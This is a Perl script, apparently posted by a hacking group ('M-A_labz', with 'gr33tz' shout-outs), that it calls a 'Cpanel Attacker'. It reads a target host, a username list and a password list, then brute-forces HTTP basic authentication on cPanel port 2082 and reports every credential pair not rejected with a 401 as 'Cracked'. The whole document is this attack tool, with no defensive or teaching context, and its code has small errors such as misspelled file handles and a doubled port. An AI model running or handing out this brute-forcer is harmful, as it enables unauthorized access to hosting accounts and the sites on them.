hiiiiiiiiiii
- #!/usr/bin/perl
# M-A_labz
# gr33tz : Mr_Anarshi-T - b0y
use Term::ANSIColor;
use Win32::Console::ANSI;
use LWP::UserAgent;
use HTTP::Request;
$ua = LWP::UserAgent->new(keep_alive => 1);
$ua->agent("Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0)");
$ua->timeout (30);
# inpute variables :
# host
print color("bold red"), "\n[+] M-A Cpanel Attacker v0.1 \n";
print color 'reset';
print color("green"), "\n[+] Insert Target Name or IP Adress : ";
print color 'reset';
$host=<STDIN>;
$port = "2082";
$site = "http://".$host.":".$port;
chomp($host);
# user list
print color("green"), "[+] Insert User name List : ";
print color 'reset';
$list=<STDIN>;
chomp($list);
# pass list
print color("green"), "[+] Insert Password List : ";
print color 'reset';
$plist=<STDIN>;
chomp($plist);
# start working
# open user list
open (USRFILE, "<$list") || die "[-] Can't open the List of users file !";
@LISTS = <USRFILE>;
close USRFILLE;
foreach my $L (@LISTS) {
chomp $L;
$usr = $L;
print color("green"), "\n [+] Working on ";
print color 'reset';
print color("bold yellow"), "$usr\n\n";
print color 'reset';
open (PASSFILE, "<$plist") || die "[-] Can't open the List of password file !";
@PLISTS = <PASSFILE>;
close PASSFILLE;
foreach my $P (@PLISTS) {
chomp $P;
$pwd = $P;
print color ("bold white"), " [-] Trying $pwd\n";
print color 'reset';
$host= $site.":".$port;
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => $host);
$req->authorization_basic($usr, $pwd);
if($ua->request($req)->code == 401){
}
else {
print color("yellow"), " [+] Cracked : $pwd\n";
print color 'reset';
}
}
}



